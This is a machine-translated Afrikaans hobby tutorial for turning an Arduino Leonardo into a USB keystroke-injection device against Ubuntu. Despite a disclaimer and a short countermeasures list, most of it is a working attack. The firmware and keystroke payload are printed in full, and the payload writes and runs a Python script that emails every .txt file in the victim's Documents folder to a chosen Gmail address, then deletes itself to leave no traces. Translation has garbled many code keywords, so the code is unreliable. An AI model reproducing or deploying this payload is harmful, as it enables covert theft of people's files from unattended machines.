INHOUDSOPGAWE:
- Stap 1: materiaal
- Stap 2: Bou die toestel
- Stap 3: Hoe dit in besonderhede werk
- Stap 4: Teenmaatreëls
Video: Demo (HID) en voorkoming van Arduino -sleutelbord: 4 stappe (met foto's)
2024 Outeur: John Day | [email protected]. Laas verander: 2024-01-30 07:27
In hierdie projek gaan ons 'n arduino leonardo gebruik om 'n moontlike USB -aanval te simuleer met behulp van HID (humain interface device).
Ek het hierdie tutoriaal ontwerp om hackers nie te help nie, maar om u 'n paar werklike gevare te wys en hoe u uself teen die gevare kan beskerm. Hierdie toestel is nie 'n toestel wat op enige platform vir hackers gebruik kan word nie; dit is meer 'n bewys van die konsep in detail.
Ons gaan die volgende leer:
- hoe om arduino leonardo te gebruik om die sleutelbord na te boots
- hoe om data vanaf SD -kaarte te lees
- hoe om 'n python -script te skep wat lêers skandeer en dit per e -pos stuur
- hoe u uself kan beskerm teen USB -inbraaktoestelle
Stap 1: materiaal
Dele:
1. Arduino leonardo
2. mikro -USB -kaartleser
3. 'n paar GB SD -kaart
4. drukknop soos hierdie (VCC, grond en sein)
5. vroulike-manlike en vroulike-vroulike springkabels
6. mikro -USB na USB -kabel
Stap 2: Bou die toestel
Kom ons kyk na die werkbeginsel voor die bouinstruksie:
Arduino leonardo kan optree soos 'n menslike koppelvlak -toestel (HID) en kan dus muis en sleutelbord navolg. Ons gaan hierdie funksie gebruik om 'n terminale (in UBUNTU linux) oop te maak en 'n klein skrif te skryf wat toegang tot die /Documents -lêergids in die tuisgids van die gebruiker kan kopieer.txt -lêers daar en dit per e -pos aan iemand stuur. Gaan na die volgende stap as u meer inligting wil uitvind.
Omdat dit 'n demo -toestel is, is dinge regtig eenvoudig, ons gaan niks soldeer nie.
Bou instruksies
Voordat ons begin, moet ek die aangehegte lêers nagaan, ek het 'n fritzing -skema bygevoeg en al die nodige lêers
1. Monteer die komponente:
* Steek die mikro -USB -kabel in die arduino
* koppel die sleutel skakelaar aan op die arduino (grond, vcc en uit module op D8)
* koppel die kaartleser aan die arduino (met behulp van ICSP -kop). Arduino leonardo het nie die ICSP -kop aan digitale penne gekoppel nie, dus moet u die kaartleser aan die ICSP -kop koppel. U kan hier 'n paar tekeninge van die ICSP vind: https://learn.sparkfun.com/tutorials/installing-an…. Koppel die SS -pen aan die digitale pen 10
2. kry die arduino -kode, u kan my arduino -bewaarplek op github kloon: https://github.com/danionescu0/arduino en na projekte/keyboard_exploit gaan of dit van onder af kry:
#sluit "Keyboard.h" in
#include "SPI.h" #include "SD.h" String fileameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Slaap::"; String commandStartingPoint = "Opdrag::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HOOG; leemte opstelling () {pinMode (knoppie, INPUT); Serial.begin (9600); Keyboard.begin (); as (! SD.begin (chipSelect)) {Serial.println ("Kaart misluk, of nie teenwoordig nie!"); terugkeer; }} void lus () {int buttonState = digitalRead (buttonPin); as ((buttonState! = previousButtonState) && (buttonState == HOOG)) {sdFileToKeyboard (); Serial.println ("opgelaai!"); vertraging (500); } vorigeButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); as (! dataFile) {Serial.println ("Die gespesifiseerde lêernaam is nie op die SD -kaart nie, kyk na filenameOnCard!"); } Snaarlyn; terwyl (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (reël); sendToKeyboard (reël); } dataFile.close (); } void sendToKeyboard (string line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (reël); terugkeer; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Teks:"); Serial.println (reël); Sleutelbord.println (reël); druk Enter (); terugkeer; } Serial.println ("Command:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command gevind:"); Serial.println (command); Keyboard.press (getCommandCode (command)); vertraging (delayBetweenCommands); }} Keyboard.releaseAll (); vertraging (delayBetweenCommands); } ongeldig pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); vertraging (slaapbedrag); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kode = (teks == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kode; kode = (teks == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kode; kode = (teks == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kode; kode = (teks == "KEY_UP_ARROW")? KEY_UP_ARROW: kode; kode = (teks == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kode; kode = (teks == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kode; kode = (teks == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kode; kode = (teks == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kode; kode = (teks == "KEY_BACKSPACE")? KEY_BACKSPACE: kode; kode = (teks == "KEY_TAB")? KEY_TAB: kode; kode = (teks == "KEY_RETURN")? KEY_RETURN: kode; kode = (teks == "KEY_ESC")? KEY_ESC: kode; kode = (teks == "KEY_INSERT")? KEY_INSERT: kode; kode = (teks == "KEY_DELETE")? KEY_DELETE: kode; kode = (teks == "KEY_PAGE_UP")? KEY_PAGE_UP: kode; kode = (teks == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kode; kode = (teks == "KEY_HOME")? KEY_HOME: kode; kode = (teks == "KEY_END")? KEY_END: kode; kode = (teks == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kode; kode = (teks == "KEY_F1")? KEY_F1: kode; kode = (teks == "KEY_F2")? KEY_F2: kode; kode = (teks == "KEY_F3")? KEY_F3: kode; kode = (teks == "KEY_F4")? KEY_F4: kode; kode = (teks == "KEY_F5")? KEY_F5: kode; kode = (teks == "KEY_F6")? KEY_F6: kode; kode = (teks == "KEY_F7")? KEY_F7: kode; kode = (teks == "KEY_F8")? KEY_F8: kode; kode = (teks == "KEY_F9")? KEY_F9: kode; kode = (teks == "KEY_F10")? KEY_F10: kode; kode = (teks == "KEY_F11")? KEY_F1: kode; kode = (teks == "KEY_F12")? KEY_F2: kode;
retourkode;
}
3. Laai die kode op na die arduino, kies 9600 baud rate, die seriële poort en arduino leonardo
4. Formateer die sd -kaart met FAT16 of FAT32
5. As u die github -repo van bo af gekloon het, kopieer die hack.txt -lêer op die kaart, indien nie, word die lêer hieronder gelys:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMETekst invoer MIMETekst vanaf e -pos. Gebruik invoer COMMASPACE, formaat datum vanaf e -pos invoer Encoders
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumente'
subject = body = 'Lêers van gekapte rekenaar'
header = 'Aan: {0} nFrom: {1} nTema: {2} n'.format (to_address, smtp_user, subject)
def sendMail (na, onderwerp, teks, lêers = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMETekst (teks)) vir lêers in lêers: deel = MIMEBase ('toepassing', 'octet-stroom') part.set_payload (oop (lêer, 'rb'). Lees ()) Encoders.encode_base64 (deel) deel. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (deel)
bediener = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Slaap:: 50 opdrag:: KEY_ESC Slaap:: 100: x Slaap:: 500 nohup python hack.py & slaap:: 700 rm -rf hack.py Slaap:: 400 opdrag:: KEY_LEFT_ALT, KEY_F4
6. Wysig die volgende reëls:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'receiver_address'
En vervang met u e -posadresse
7. Verwyder die kaart en steek dit in die arduino -kaartleser
Stap 3: Hoe dit in besonderhede werk
Hoe die aanval sal werk:
1. As die knoppie ingedruk word, sal die leonardo die sd -kaart lees met 'n sd -kaartleser. 'N Spesiale lêer met sleutels en sleutelkombinasie sal op die kaart verskyn. Die lêernaam is "hack.txt".
Die lêer kan rou teks bevat, en dit sal net soos dit na die sleutelbord oorgedra word.
Dit kan ook spesiale opdragte soos "Slaap::" en "Opdrag::" bevat.
'N Reël soos:
Slaap:: 200 beteken 'n slaap van 200 ms
'N Reël soos:
Opdrag:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t beteken links ctrl ingedruk, links alt ingedruk, t gedruk en alles los
U kan alle spesiale sleutels hier nagaan:
2. Leonardo sal reël vir reël lees, die opdragte interpreteer en die sleutels op die sleutelbord navolg. Die lêer "hack.txt" bevat 'n kombinasie van sleutels wat die volgende doen (vir UBUNTU linux):
a. maak 'n terminaal oop (CTRL + ALT + T)
b. maak 'n python -lêer oop om te skep met behulp van vi (skryf "vi hack.py"
c. skryf 'n python -script binne -in wat alle tekslêers in die tuisgids van dokumente versamel en dit na 'n gespesifiseerde gmail -adres stuur
d. voer die lêer op die agtergrond uit ("nohup python hack.py &")
e. verwyder die lêer (rm -rf hack.py)
f. sluit die terminaal (ALT + F4)
Hierdie hele ding loop binne 'n paar sekondes en laat geen spore agter nie.
Verbeterings en probleemoplossing
* U sal miskien agterkom dat ek die python -lêer skryf nadat ek 'n terminale oopgemaak het. 'n beter manier om dit te bereik, is om dit êrens te huisves en af te laai met die opdrag "wget some_url", en dit dan hernoem na hack.py
* Ons kan ook 'n gereedgemaakte gebruik vir die doelgerigte bedryfstelsel aflaai of gebruik
* wifi kan by die module gevoeg word, en die hacks kan via WIFI opgelaai word
* u kan arduino micro (wat baie kleiner is) gebruik en die gebruikskode daarin insluit (om dit kleiner te maak)
Beperkings
1. Omdat die gesimuleerde toestel (sleutelbord en muis) geen terugvoer het nie, weet ons nie wat sal gebeur nadat 'n opdrag uitgevaardig is nie, wat beteken dat ons vertragings moet gebruik. Ek gee byvoorbeeld 'n opdrag om terminale oop te maak, maar ek weet nie wanneer dit eintlik oop sal wees nie, so ek moet 'n arbitrêre vertraging spesifiseer om te verseker dat die karakters wat ingevoer word nie verlore gaan nie.
2. Ons mag toestemmingsprobleme ondervind, soos toegang tot die USB -poort of toestemming om iets te installeer
3. Die tikspoed is nie so groot op Leonardo nie
4. Sal slegs op 'n doelgerigte bedryfstelsel werk (in ons geval UBUNTU linux)
In die volgende stap sal ons probeer om hierdie beperkings te ontgin om te voorkom dat ons rekenaar gehack word
Stap 4: Teenmaatreëls
1. Skakel USB -poorte uit
-vir Windows kan u hierdie tutoriaal nagaan:
2. Witlys USB -toestelle:
- vir vensters:
2. Sluit jou rekenaar as jy nie weg is nie
3. Moenie as wortel aanmeld nie (vereis wagwoorde om enigiets te installeer)
4. Hou u self op datum (outomatiese opdaterings aan)
Aanbeveel:
Voorkoming van huishoudelike gaslekkasie met behulp van Arduino .: 3 stappe
Voorkoming van huishoudelike gaslekkasie met behulp van Arduino: In hierdie instruksies het ek 'n prototipe gemaak wat die gasknop van die LPG -silinder outomaties toemaak as daar 'n gaslek is. LPG is reukloos en 'n middel genaamd Ethyl Mercaptan word bygevoeg vir sy reuk, sodat dit opgemerk kan word as daar lek
Monitering van 'n akkedis -terrarium met behulp van Adosia IoT WiFi -beheerder + bewegingsopsporing: 17 stappe (met foto's)
Monitering van 'n akkedis -terrarium met behulp van Adosia IoT WiFi -beheerder + bewegingsopsporing: in hierdie tutoriaal sal ons jou wys hoe om 'n eenvoudige hagedis -terrarium te bou vir 'n handjievol skink -eiers wat ons per ongeluk gevind en versteur het tydens tuinwerk buite. Ons wil hê die eiers moet veilig uitbroei, so al wat ons sal doen is om 'n veilige ruimte te skep met behulp van 'n plastiek
Voorkoming van botsings- Aangedryf deur Pi: 6 stappe
Botsingsvoorkoming-aangedryf deur Pi: hierdie instruksie gee u 'n stap-vir-stap gids vir die bou van die botsingsvoorkomingstelsel. Om te begin, moet u die volgende lys materiaal kry: Raspberry PI 3 (met krag- en Ethernet -akkoorde), 1 GPIO -uitbreidingskaart en lintkabel
Hoe om van 0 tot 99 te tel met behulp van 8051 mikrobeheerder met 7 segmentweergawe: 5 stappe (met foto's)
Hoe om van 0 tot 99 te tel Met behulp van 8051 mikrobeheerder met 7 -segmentweergawe: Hallo almal, in hierdie tutoriaal gaan ons u vertel hoe om van 0 tot 99 te tel met twee 7 -segment -skerms
Instruksies vir die voltooiing van die opmaak van die baanskyfontwerp vir die opheffing/verlaging van die middelste voetsteun op motorwielstoele: 9 stappe (met foto's)
Instruksies vir die voltooiing van die opmaak van die baanskyfontwerp vir die opheffing/verlaging van die middelste voetsteun op motorwielstoele: die middelste voetsteunhysers moet goed onder die sitplek geberg word en laer om te ontplooi. 'N Meganisme vir die onafhanklike werking van die opberging en ontplooiing van voetsteun is nie ingesluit by rolstoele op die mark nie, en PWC -gebruikers het die behoefte uitgespreek